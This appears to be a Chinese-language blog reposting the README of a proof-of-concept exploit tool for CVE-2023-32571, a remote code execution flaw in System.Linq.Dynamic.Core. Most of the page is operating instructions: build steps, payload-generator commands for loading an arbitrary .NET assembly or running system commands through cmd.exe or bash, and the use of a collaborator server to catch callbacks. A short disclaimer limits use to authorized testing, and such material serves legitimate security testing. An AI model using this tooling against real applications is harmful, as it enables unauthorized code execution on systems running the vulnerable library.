CVE-2023-32571动态LINQ远程代码执行漏洞利用分析

本文详细分析了System.Linq.Dynamic.Core库中的CVE-2023-32571远程代码执行漏洞,该漏洞影响1.0.7.10至1.2.25版本,攻击者可通过恶意输入在Where、Select、OrderBy等方法中执行任意代码和系统命令。

🐞 CVE-2023-32571 - System.Linq.Dynamic.Core 远程代码执行

CVE-2023-32571的概念验证,这是System.Linq.Dynamic.Core(1.0.7.10至1.2.25版本)中的一个远程代码执行漏洞。当解析包含Where、Select、OrderBy等方法的不受信任输入时,该漏洞允许攻击者执行任意代码和命令。

⚠️ 免责声明

此工具仅用于教育和授权测试目的。未经事先相互同意使用此工具攻击目标是非法的。开发人员不承担任何责任,也不对此程序的任何误用或造成的损害负责。

🎯 先决条件

  • .NET 9.0 SDK 或更高版本
  • 使用易受攻击版本System.Linq.Dynamic.Core(1.0.7.10至1.2.25)的目标应用程序
  • 用于观察回调的协作服务器(例如,Burp Collaborator,Interactsh

🛠️ 构建项目

  1. 构建项目:
    1
    
    dotnet build --configuration Release
    
    构建将产生
    • 有效负载DLL位于Payload/bin/Release/netstandard2.0/Payload.dll
    • 有效负载生成器位于Generator/bin/Release/net9.0/Generator.dll

🚀 使用方法

模式

该工具支持两种模式:

  1. AssemblyLoad(模式0):加载并执行自定义.NET程序集
  2. ProcessStart(模式1):通过Process.Start直接执行系统命令

模式0:AssemblyLoad(默认)

1
2
3
4
5
# 使用Base64编码
./Generator --mode 0 --file Payload.dll --type Payload --parameters "\"\"" --encoding 1

# 使用Hex编码
./Generator --mode 0 --file Payload.dll --type Payload --parameters "\"\"" --encoding 0
1
2
3
4
5
# 使用Base64编码
Generator.exe --mode 0 --file Payload.dll --type Payload --parameters "`"`"" --encoding 1

# 使用Hex编码
Generator.exe --mode 0 --file Payload.dll --type Payload --parameters "`"`"" --encoding 0

模式1:ProcessStart(直接命令执行)

1
2
3
4
5
# Windows命令执行
./Generator --mode 1 --parameters "cmd.exe /c ping "

# Linux命令执行  
./Generator --mode 1 --parameters "bash -c ping "

⚙️ 参数

  • --mode:利用模式(0=AssemblyLoad,1=ProcessStart)
  • --file:要加载的.NET程序集路径(AssemblyLoad模式必需)
  • --type:要实例化的完全限定类型名称(AssemblyLoad模式必需)
  • --parameters:基于模式的参数:
    • AssemblyLoad:构造函数参数(逗号分隔)
    • ProcessStart:要执行的命令(例如’cmd.exe /c whoami’或’bash -c whoami’)
  • --encoding:AssemblyLoad模式的编码方法(0=Hex,1=Base64)

📚 参考资料

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计